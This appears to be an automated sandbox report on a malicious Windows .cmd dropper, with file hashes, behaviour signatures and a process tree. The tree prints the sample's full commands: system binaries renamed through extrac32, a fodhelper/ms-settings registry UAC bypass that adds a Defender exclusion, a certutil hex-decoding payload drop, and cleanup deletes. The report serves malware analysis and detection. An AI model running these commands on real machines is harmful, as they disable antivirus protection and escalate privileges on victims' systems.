c64ea8c7bd49b10ea6d10d5bb3da80ff8540b6e2c3eb48174533b3ebe00a5e0e

Analysis

max time kernel
134s
max time network
138s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
06-05-2024 09:44

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General

Target

0794732-20240502-000023.cmd
Size

2.5MB
MD5

cb7ad4fb01d8db651c816dee2ae10f85
SHA1

fc9b1ccb0acec60b8657e80dc664448cc6c508e7
SHA256

b81cd60b3bf0374b465e0b3b088a13eef95fa61e6acc1226d1b7f68bbef602da
SHA512

d51d12007fb51043e0f103067e778d98706e9c96a0134c722351b8dde4d720677857181dec419ffb063e64be60c9fc4fbc2a9e8313898f807ab0a9ef70cb0823
SSDEEP

49152:RM/SqG8iJ+4e2Dhq3ebaDZwZBhJRuf5yt:B

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 17 IoCs

pid	Process
2784	alpha.exe
2916	alpha.exe
2556	alpha.exe
2484	xkn.exe
2640	alpha.exe
2356	ger.exe
2012	alpha.exe
2344	alpha.exe
2364	kn.exe
1724	alpha.exe
2856	kn.exe
1884	Dason.pif
1916	alpha.exe
1012	alpha.exe
816	alpha.exe
1240	alpha.exe
2696	alpha.exe

Loads dropped DLL 10 IoCs

pid	Process
1208	cmd.exe
1208	cmd.exe
1208	cmd.exe
2556	alpha.exe
2484	xkn.exe
2484	xkn.exe
2640	alpha.exe
2344	alpha.exe
2584	WerFault.exe
2584	WerFault.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2584	1884	WerFault.exe	44

Kills process with taskkill 1 IoCs

evasion

pid	Process
2316	taskkill.exe

Modifies registry class 5 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\ms-settings\shell\open\command	ger.exe
Key created	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\ms-settings	ger.exe
Key created	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\ms-settings\shell	ger.exe
Key created	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\ms-settings\shell\open	ger.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\ms-settings\shell\open\command\ = "C:\\\\Users\\\\Public\\\\xkn.exe -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\\Users "	ger.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
1884	Dason.pif

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2484	xkn.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2484	xkn.exe
Token: SeDebugPrivilege	2316	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1208 wrote to memory of 2704	1208	cmd.exe	29
PID 1208 wrote to memory of 2704	1208	cmd.exe	29
PID 1208 wrote to memory of 2704	1208	cmd.exe	29
PID 1208 wrote to memory of 2784	1208	cmd.exe	30
PID 1208 wrote to memory of 2784	1208	cmd.exe	30
PID 1208 wrote to memory of 2784	1208	cmd.exe	30
PID 2784 wrote to memory of 2424	2784	alpha.exe	31
PID 2784 wrote to memory of 2424	2784	alpha.exe	31
PID 2784 wrote to memory of 2424	2784	alpha.exe	31
PID 1208 wrote to memory of 2916	1208	cmd.exe	32
PID 1208 wrote to memory of 2916	1208	cmd.exe	32
PID 1208 wrote to memory of 2916	1208	cmd.exe	32
PID 2916 wrote to memory of 2528	2916	alpha.exe	33
PID 2916 wrote to memory of 2528	2916	alpha.exe	33
PID 2916 wrote to memory of 2528	2916	alpha.exe	33
PID 1208 wrote to memory of 2556	1208	cmd.exe	34
PID 1208 wrote to memory of 2556	1208	cmd.exe	34
PID 1208 wrote to memory of 2556	1208	cmd.exe	34
PID 2556 wrote to memory of 2484	2556	alpha.exe	35
PID 2556 wrote to memory of 2484	2556	alpha.exe	35
PID 2556 wrote to memory of 2484	2556	alpha.exe	35
PID 2484 wrote to memory of 2640	2484	xkn.exe	36
PID 2484 wrote to memory of 2640	2484	xkn.exe	36
PID 2484 wrote to memory of 2640	2484	xkn.exe	36
PID 2640 wrote to memory of 2356	2640	alpha.exe	37
PID 2640 wrote to memory of 2356	2640	alpha.exe	37
PID 2640 wrote to memory of 2356	2640	alpha.exe	37
PID 1208 wrote to memory of 2012	1208	cmd.exe	38
PID 1208 wrote to memory of 2012	1208	cmd.exe	38
PID 1208 wrote to memory of 2012	1208	cmd.exe	38
PID 2012 wrote to memory of 2444	2012	alpha.exe	39
PID 2012 wrote to memory of 2444	2012	alpha.exe	39
PID 2012 wrote to memory of 2444	2012	alpha.exe	39
PID 1208 wrote to memory of 2344	1208	cmd.exe	40
PID 1208 wrote to memory of 2344	1208	cmd.exe	40
PID 1208 wrote to memory of 2344	1208	cmd.exe	40
PID 2344 wrote to memory of 2364	2344	alpha.exe	41
PID 2344 wrote to memory of 2364	2344	alpha.exe	41
PID 2344 wrote to memory of 2364	2344	alpha.exe	41
PID 1208 wrote to memory of 1724	1208	cmd.exe	42
PID 1208 wrote to memory of 1724	1208	cmd.exe	42
PID 1208 wrote to memory of 1724	1208	cmd.exe	42
PID 1724 wrote to memory of 2856	1724	alpha.exe	43
PID 1724 wrote to memory of 2856	1724	alpha.exe	43
PID 1724 wrote to memory of 2856	1724	alpha.exe	43
PID 1208 wrote to memory of 1884	1208	cmd.exe	44
PID 1208 wrote to memory of 1884	1208	cmd.exe	44
PID 1208 wrote to memory of 1884	1208	cmd.exe	44
PID 1208 wrote to memory of 1884	1208	cmd.exe	44
PID 1208 wrote to memory of 1916	1208	cmd.exe	45
PID 1208 wrote to memory of 1916	1208	cmd.exe	45
PID 1208 wrote to memory of 1916	1208	cmd.exe	45
PID 1208 wrote to memory of 1012	1208	cmd.exe	46
PID 1208 wrote to memory of 1012	1208	cmd.exe	46
PID 1208 wrote to memory of 1012	1208	cmd.exe	46
PID 1208 wrote to memory of 816	1208	cmd.exe	47
PID 1208 wrote to memory of 816	1208	cmd.exe	47
PID 1208 wrote to memory of 816	1208	cmd.exe	47
PID 1208 wrote to memory of 1240	1208	cmd.exe	48
PID 1208 wrote to memory of 1240	1208	cmd.exe	48
PID 1208 wrote to memory of 1240	1208	cmd.exe	48
PID 1240 wrote to memory of 2316	1240	alpha.exe	49
PID 1240 wrote to memory of 2316	1240	alpha.exe	49
PID 1240 wrote to memory of 2316	1240	alpha.exe	49

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\0794732-20240502-000023.cmd"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1208
- C:\Windows\System32\extrac32.exe
  C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe C:\\Users\\Public\\alpha.exe
  2⤵
  PID:2704
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe C:\\Users\\Public\\xkn.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2784
- - C:\Windows\system32\extrac32.exe
    extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe C:\\Users\\Public\\xkn.exe
    3⤵
    PID:2424
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe C:\\Users\\Public\\ger.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2916
- - C:\Windows\system32\extrac32.exe
    extrac32 /C /Y C:\\Windows\\System32\\reg.exe C:\\Users\\Public\\ger.exe
    3⤵
    PID:2528
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn.exe -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn.exe -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\Users "' ; start fodhelper.exe "
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:2556
- - C:\Users\Public\xkn.exe
    C:\\Users\\Public\\xkn.exe -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn.exe -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\Users "' ; start fodhelper.exe "
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2484
  - - C:\Users\Public\alpha.exe
      "C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn.exe -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\Users "
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:2640
    - - C:\Users\Public\ger.exe
        
        C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn.exe -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\Users "
        5⤵
        Executes dropped EXE
        Modifies registry class
        
        PID:2356
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2012
- - C:\Windows\system32\extrac32.exe
    extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
    3⤵
    PID:2444
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\0794732-20240502-000023.cmd" "C:\\Users\\Public\\Dason.rtf" 9
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:2344
- - C:\Users\Public\kn.exe
    C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\0794732-20240502-000023.cmd" "C:\\Users\\Public\\Dason.rtf" 9
    3⤵
    - Executes dropped EXE
    PID:2364
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Dason.rtf" "C:\\Users\\Public\\Libraries\\Dason.pif" 12
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1724
- - C:\Users\Public\kn.exe
    C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Dason.rtf" "C:\\Users\\Public\\Libraries\\Dason.pif" 12
    3⤵
    - Executes dropped EXE
    PID:2856
- C:\Users\Public\Libraries\Dason.pif
  C:\Users\Public\Libraries\Dason.pif
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: CmdExeWriteProcessMemorySpam
  PID:1884
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1884 -s 704
    3⤵
    - Loads dropped DLL
    - Program crash
    PID:2584
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c del "C:\Users\Public\Dason.rtf" / A / F / Q / S
  2⤵
  - Executes dropped EXE
  PID:1916
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c del "C:\Users\Public\kn.exe" / A / F / Q / S
  2⤵
  - Executes dropped EXE
  PID:1012
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c del "C:\Users\Public\ger.exe" / A / F / Q / S
  2⤵
  - Executes dropped EXE
  PID:816
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1240
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM SystemSettings.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2316
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c del "C:\Users\Public\xkn.exe" / A / F / Q / S
  2⤵
  - Executes dropped EXE
  PID:2696

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Public\Dason.rtf

Filesize
1.8MB

MD5
5e3683abe565b079878fbc87b25b5bd9

SHA1
ba98abd671e3e2966263c690bb14ec14a8bacaf1

SHA256
d33ea19c508d964cde76174bef38b9e86ac8e16d9733412c2ddc67646efdb03d

SHA512
b16e92593661d6c6af0a42903d39692ad3dcdb0137e1023008d765a7ebb1ac26ad1acdb2127c7eb41f65af1ac0991ca522a45a5b5b481f699c31a8861bd99d66

Download Submit
C:\Users\Public\Libraries\Dason.pif

Filesize
937KB

MD5
f1997d251676602369cc0dae8fd6c1dd

SHA1
bb054605fcb87c3613856c047db952b0053805fe

SHA256
7f761f439918a94adc2d211243cee716b7f817529009478f1c875ba1d881a7b1

SHA512
4b98040b0cf36127baa664c72451b126212a815992a8cfde5d7769d043593e23bdc7c624f28dadbeff4e82a3195c38ede06f0829debe92eeb6d8a615ac357685

Download Submit
C:\Users\Public\alpha.exe

Filesize
337KB

MD5
5746bd7e255dd6a8afa06f7c42c1ba41

SHA1
0f3c4ff28f354aede202d54e9d1c5529a3bf87d8

SHA256
db06c3534964e3fc79d2763144ba53742d7fa250ca336f4a0fe724b75aaff386

SHA512
3a968356d7b94cc014f78ca37a3c03f354c3970c9e027ed4ccb8e59f0f9f2a32bfa22e7d6b127d44631d715ea41bf8ace91f0b4d69d1714d55552b064ffeb69e

Download Submit
C:\Users\Public\xkn.exe

Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
\Users\Public\ger.exe

Filesize
73KB

MD5
9d0b3066fe3d1fd345e86bc7bcced9e4

SHA1
e05984a6671fcfecbc465e613d72d42bda35fd90

SHA256
4e66b857b7010db8d4e4e28d73eb81a99bd6915350bb9a63cd86671051b22f0e

SHA512
d773ca3490918e26a42f90f5c75a0728b040e414d03599ca70e99737a339858e9f0c99711bed8eeebd5e763d10d45e19c4e7520ee62d6957bc9799fd62d4e119

Download Submit
\Users\Public\kn.exe

Filesize
1.1MB

MD5
ec1fd3050dbc40ec7e87ab99c7ca0b03

SHA1
ae7fdfc29f4ef31e38ebf381e61b503038b5cb35

SHA256
1e19c5a26215b62de1babd5633853344420c1e673bb83e8a89213085e17e16e3

SHA512
4e47331f2fdce77b01d86cf8e21cd7d6df13536f09b70c53e5a6b82f66512faa10e38645884c696b47a27ea6bddc6c1fdb905ee78684dca98cbda5f39fbafcc2

Download Submit
memory/1884-55-0x0000000000400000-0x00000000004F4000-memory.dmp

Filesize
976KB

Download
memory/2484-21-0x00000000025E0000-0x0000000002660000-memory.dmp

Filesize
512KB

Download
memory/2484-22-0x000000001B180000-0x000000001B462000-memory.dmp

Filesize
2.9MB

Download
memory/2484-23-0x0000000001E70000-0x0000000001E78000-memory.dmp

Filesize
32KB

Download